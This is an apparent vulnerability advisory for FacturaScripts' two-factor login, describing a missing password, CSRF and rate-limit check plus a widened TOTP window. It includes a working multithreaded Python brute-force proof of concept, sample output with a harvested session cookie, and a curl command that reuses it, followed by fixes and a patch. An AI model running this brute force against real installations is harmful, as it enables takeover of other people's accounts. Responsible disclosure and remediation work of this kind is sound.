FacturaScripts: Account takeover of any 2FA-enabled user
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Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection
Summary
Core/Controller/Login.php::twoFactorValidationAction() accepts an
unauthenticated POST containing only fsNick and fsTwoFactorCode. If the
TOTP value matches, the server issues a full fsNick + fsLogkey session
cookie pair. The handler:
- Does not verify the password — the user is not required to have just
completedloginAction. - Does not call
validateFormToken()— no CSRF token is required (every
other action handler in the same file does call it). - Does not call
userHasManyIncidents()before processing —loginAction
andchangePasswordActionboth check this guard before doing work; the
2FA handler only writes to the incident list after a failure, and the
incident list is consulted byloginAction/changePasswordActionbut
not by the 2FA handler itself. The endpoint therefore has no
rate-limiting at all.
Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is
N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)
On a default LAMP install a single-laptop attacker sustains ~400 RPS from
one source IP — a few minutes per account.
The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (admin, the company name,
the person's initials).
Severity
CVSS 4.0 base score: 9.3 — Critical
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |
Threat metrics:
- Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.
Affected component
- File:
Core/Controller/Login.php - Method:
twoFactorValidationAction()(lines 317–328 in the repository at commit7392b489b, master branch as of 2026-05-13). - Related:
Core/Lib/TwoFactorManager.php:30(VERIFICATION_WINDOW = 8).
Vulnerable code:
1protected function twoFactorValidationAction(Request $request): void 2{ 3 $userName = $request->input('fsNick'); 4 $user = new User(); 5 if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { 6 Tools::log()->warning('two-factor-code-invalid'); 7 $this->saveIncident(Session::getClientIp(), $userName); 8 return; 9 }10 11 $this->updateUserAndRedirect($user, Session::getClientIp(), $request);12}Compare with loginAction in the same file, which calls
validateFormToken() (line 275) and userHasManyIncidents() (line 287)
before doing any work. The 2FA handler does neither.
Proof of concept
1. Brute force when only the victim's nick is known
This requires no prior
knowledge beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.
poc_2fa_brute.py:
1#!/usr/bin/env python3 2""" 3PoC: brute-force the 2FA endpoint. 4Required: pip install requests 5""" 6import os, sys, time, random, threading, requests 7 8BASE = os.environ.get("BASE", "http://localhost:9999") 9NICK = os.environ.get("NICK", "admin")10THREADS = int(os.environ.get("THREADS", "32"))11MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))12 13hit = threading.Event()14attempt_count = [0]15lock = threading.Lock()16start = time.time()17result = {}18 19def worker(tid: int) -> None:20 s = requests.Session()21 while not hit.is_set():22 with lock:23 n = attempt_count[0]24 if n >= MAX_TRIES:25 return26 attempt_count[0] += 127 code = f"{random.randint(0, 999999):06d}"28 try:29 r = s.post(f"{BASE}/login",30 data={"action": "two-factor-validation",31 "fsNick": NICK,32 "fsTwoFactorCode": code},33 allow_redirects=False, timeout=5)34 except requests.RequestException:35 continue36 sc = r.headers.get("Set-Cookie", "")37 if r.status_code == 302 and "fsLogkey" in sc:38 with lock:39 if hit.is_set():40 return41 hit.set()42 result["code"] = code43 result["n"] = n44 result["cookies"] = {c.name: c.value for c in r.cookies}45 return46 47def main() -> int:48 print(f"[*] target={BASE} nick={NICK} threads={THREADS}")49 threads = [threading.Thread(target=worker, args=(i,), daemon=True)50 for i in range(THREADS)]51 for t in threads: t.start()52 while not hit.is_set() and attempt_count[0] < MAX_TRIES:53 time.sleep(2)54 elapsed = time.time() - start55 print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "56 f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)57 for t in threads: t.join()58 elapsed = time.time() - start59 if hit.is_set():60 print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "61 f"attempts in {elapsed:.1f}s")62 cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())63 print(f"[+] Cookies: {cookie_hdr}")64 print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")65 return 066 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")67 return 168 69if __name__ == "__main__":70 sys.exit(main())Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick victim):
1[*] target=http://localhost:9999 nick=victim threads=32 2 [ 2.2s] attempts= 1094 rps= 493 3 [ 24.4s] attempts= 11535 rps= 473 4 [ 50.0s] attempts= 23420 rps= 468 5 [100.7s] attempts= 41247 rps= 410 6 [144.9s] attempts= 55418 rps= 383 7 8[+] FOUND code=055473 after 55,773 attempts in 146.0s 9[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_ENA second run terminated in 24.6 s after 11 569 attempts. Both runs used a
single source IP with no proxy rotation, no HTTP/2, no parallel hosts.
Impact
For each 2FA-enabled user (including admins):
- Confidentiality: full read access to anything the victim can see —
invoices, customer data, suppliers, accounting ledgers, attached files,
user PII, API keys, plugin configuration. - Integrity: full write access — create/modify/delete records, change
permissions, issue new API keys, upload plugins, install code (admin). - Availability: targeted account lockout DoS — generating six failed
2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident
counter pastMAX_INCIDENT_COUNT = 6, blocking the legitimate user from
loginActionfor 10 minutes. Repeatable indefinitely.
The vulnerability defeats the entire purpose of 2FA in FacturaScripts:
enabling 2FA on an account today is strictly weaker than not enabling
it, because it adds an unauthenticated, brute-forceable login path that
wasn't present before.
Remediation
Four independent fixes are required; each closes a distinct gap and any
one alone is insufficient.
-
Require evidence the user just completed the password step. In
loginAction, afterverifyPasswordsucceeds and 2FA is required,
write a short-lived nonce keyed by(client_ip, user_nick)to the
shared cache (e.g.Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)).twoFactorValidationActionmust read, validate, and
delete that nonce before callingverifyTwoFactorCode. Without the
nonce, return immediately. -
Call
validateFormToken($request)at the top of
twoFactorValidationAction. Every other action handler in the
controller does this; the 2FA handler should too. Eliminates
drive-by CSRF submissions. -
Call
userHasManyIncidents(Session::getClientIp(), $userName)
before doing any work intwoFactorValidationAction, and bail
out if the threshold is exceeded. This is the missing rate-limit
pre-check. -
Reduce
TwoFactorManager::VERIFICATION_WINDOWfrom 8 to 1.
The google2fa default is 1 (±30 s). A window of 8 multiplies the
brute-force success rate by 17× for no legitimate reason — TOTP
apps and the server clock are typically synchronised within a
single 30-second step.
Suggested patch (illustrative):
1// Core/Controller/Login.php 2protected function twoFactorValidationAction(Request $request): void 3{ 4 if (false === $this->validateFormToken($request)) { // fix 2 5 return; 6 } 7 $userName = $request->input('fsNick'); 8 if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3 9 Tools::log()->warning('ip-banned');10 return;11 }12 $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;13 if (false === Cache::get($nonceKey)) { // fix 114 Tools::log()->warning('two-factor-no-pending-login');15 $this->saveIncident(Session::getClientIp(), $userName);16 return;17 }18 Cache::delete($nonceKey);19 20 $user = new User();21 if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {22 Tools::log()->warning('two-factor-code-invalid');23 $this->saveIncident(Session::getClientIp(), $userName);24 return;25 }26 $this->updateUserAndRedirect($user, Session::getClientIp(), $request);27}28 29// Core/Lib/TwoFactorManager.php30private const VERIFICATION_WINDOW = 1; // fix 4 — was 8loginAction then needs the matching nonce write where it currently
sets $this->two_factor_user:
1if ($user->two_factor_enabled) { 2 Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick, 3 bin2hex(random_bytes(16)), 300); 4 $this->two_factor_user = $user->nick; 5 $this->template = 'Login/TwoFactor.html.twig'; 6 return; 7}Reproduction
Tested on a clean install built from master at commit 7392b489b:
1 2# brute force (only nick known) — secret on the server can be anything 3NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.pyAI 심층 분석
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